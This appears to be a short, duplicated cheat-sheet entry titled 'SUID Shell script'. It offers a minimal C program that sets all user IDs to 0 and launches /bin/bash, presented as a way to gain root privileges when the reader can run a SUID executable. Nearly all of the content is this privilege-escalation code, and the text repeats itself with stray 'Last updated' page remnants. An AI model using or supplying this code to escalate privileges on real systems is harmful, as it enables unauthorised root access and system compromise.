SUID Shell script
If your able to run a executable to escalate privilege, you can use the following code to gain root privileges:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
} Last updated
If your able to run a executable to escalate privilege, you can use the following code to gain root privileges:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
} Last updated